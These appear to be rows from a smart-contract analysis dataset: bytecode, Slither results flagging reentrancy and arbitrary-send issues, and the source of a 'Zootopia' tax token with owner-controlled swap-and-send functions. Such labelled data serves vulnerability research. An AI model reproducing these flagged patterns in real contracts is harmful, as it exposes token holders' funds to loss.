b2565b6001600160a01b038216610eda5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b2565b80610ee48461068c565b1015610f415760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b2565b6000546001600160a01b03848116911614801590610f6d57506000546001600160a01b03838116911614155b1561124a576001600160a01b03831660009081526007602052604090205460ff16158015610fb457506001600160a01b03821660009081526007602052604090205460ff16155b610fbd57600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061101657506011546001600160a01b03848116911614801561101657506001600160a01b03821660009081526006602052604090205460ff16155b15611083576012548111156110835760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105b2565b6001600160a01b03821660009081526006602052604090205460ff1661111c57601354816110b08461068c565b6110ba9190611dc6565b111561111c5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105b2565b6011546001600160a01b03848116911614801561114757506010546001600160a01b03838116911614155b801561116c57506001600160a01b03821660009081526005602052604090205460ff16155b80156111815750601154600160b81b900460ff165b156111cf576001600160a01b03821660009081526008602052604090205442116111aa57600080fd5b6111b542603c611dc6565b6001600160a01b0383166000908152600860205260409020555b60006111da3061068c565b601154909150600160a81b900460ff1615801561120557506011546001600160a01b03858116911614155b801561121a5750601154600160b01b900460ff165b80156112285750600b548110155b156112485761123681611294565b47801561124657611246476114bd565b505b505b611255838383611542565b505050565b6000818484111561127e5760405162461bcd60e51b81526004016105b29190611cce565b50600061128b8486611e1d565b95945050505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ea57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133e57600080fd5b505afa158015611352573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113769190611a9e565b8160018151811061139757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113bd9130911684610cf0565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f6908590600090869030904290600401611d56565b600060405180830381600087803b15801561141057600080fd5b505af1158015611424573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114a05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b2565b60006114aa61154d565b90506114b68382611570565b9392505050565b600e546001600160a01b03166108fc6114d7836002611570565b6040518115909202916000818181858888f193505050501580156114ff573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61151a836002611570565b6040518115909202916000818181858888f1935050505015801561082d573d6000803e3d6000fd5b6112558383836115b2565b600080600061155a611772565b90925090506115698282611570565b9250505090565b60006114b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b4565b6000806000806000806115c4876117e2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115f6908761183f565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061164157506001600160a01b03881660009081526005602052604090205460ff165b156116ca576001600160a01b0388166000908152600260205260409020546116699087611881565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116bd908b815260200190565b60405180910390a3611767565b6001600160a01b0388166000908152600260205260409020546116ed9086611881565b6001600160a01b03891660009081526002602052604090205561170f816118e0565b611719848361192a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175e91815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea0000061178e8282611570565b8210156117ab57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836117d55760405162461bcd60e51b81526004016105b29190611cce565b50600061128b8486611dde565b60008060008060008060008060006117ff8a600c54600d5461194e565b925092509250600061180f61154d565b905060008060006118228e8787876119a3565b919e509c509a509598509396509194505050505091939550919395565b60006114b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125a565b60008061188e8385611dc6565b9050838110156114b65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b2565b60006118ea61154d565b905060006118f883836119f3565b306000908152600260205260409020549091506119159082611881565b30600090815260026020526040902055505050565b600954611937908361183f565b600955600a546119479082611881565b600a555050565b6000808080611968606461196289896119f3565b90611570565b9050600061197b60646119628a896119f3565b905060006119938261198d8b8661183f565b9061183f565b9992985090965090945050505050565b60008080806119b288866119f3565b905060006119c088876119f3565b905060006119ce88886119f3565b905060006119e08261198d868661183f565b939b939a50919850919650505050505050565b600082611a0257506000610519565b6000611a0e8385611dfe565b905082611a1b8583611dde565b146114b65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b2565b8035611a7d81611e7b565b919050565b600060208284031215611a93578081fd5b81356114b681611e7b565b600060208284031215611aaf578081fd5b81516114b681611e7b565b60008060408385031215611acc578081fd5b8235611ad781611e7b565b91506020830135611ae781611e7b565b809150509250929050565b600080600060608486031215611b06578081fd5b8335611b1181611e7b565b92506020840135611b2181611e7b565b929592945050506040919091013590565b60008060408385031215611b44578182fd5b8235611b4f81611e7b565b91506020830135611ae781611e90565b60008060408385031215611b71578182fd5b8235611b7c81611e7b565b946020939093013593505050565b60006020808385031215611b9c578182fd5b823567ffffffffffffffff80821115611bb3578384fd5b818501915085601f830112611bc6578384fd5b813581811115611bd857611bd8611e65565b8060051b604051601f19603f83011681018181108582111715611bfd57611bfd611e65565b604052828152858101935084860182860187018a1015611c1b578788fd5b8795505b83861015611c4457611c3081611a72565b855260019590950194938601938601611c1f565b5098975050505050505050565b600060208284031215611c62578081fd5b81356114b681611e90565b600060208284031215611c7e578081fd5b81516114b681611e90565b600060208284031215611c9a578081fd5b5035919050565b600080600060608486031215611cb5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611cfa57858101830151858201604001528201611cde565b81811115611d0b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611da55784516001600160a01b031683529383019391830191600101611d80565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dd957611dd9611e4f565b500190565b600082611df957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e1857611e18611e4f565b500290565b600082821015611e2f57611e2f611e4f565b500390565b6000600019821415611e4857611e48611e4f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461061257600080fd5b801515811461061257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207916be60d8e92714d330c0e59ea4173c424acfa26a657d9cf17bbddaa5e4684b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,207
0x0De8f13fe9f58153e8882531C936EBb796F83137
/** *Submitted for verification at Etherscan.io on 2021-11-12 */ //SPDX-License-Identifier: MIT // Telegram: t.me/ZootopiaToken pragma solidity ^0.8.7; uint256 constant INITIAL_TAX=9; uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="ZOO"; string constant TOKEN_NAME="Zootopia"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract Zootopia is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600881526020017f5a6f6f746f706961000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5a4f4f0000000000000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6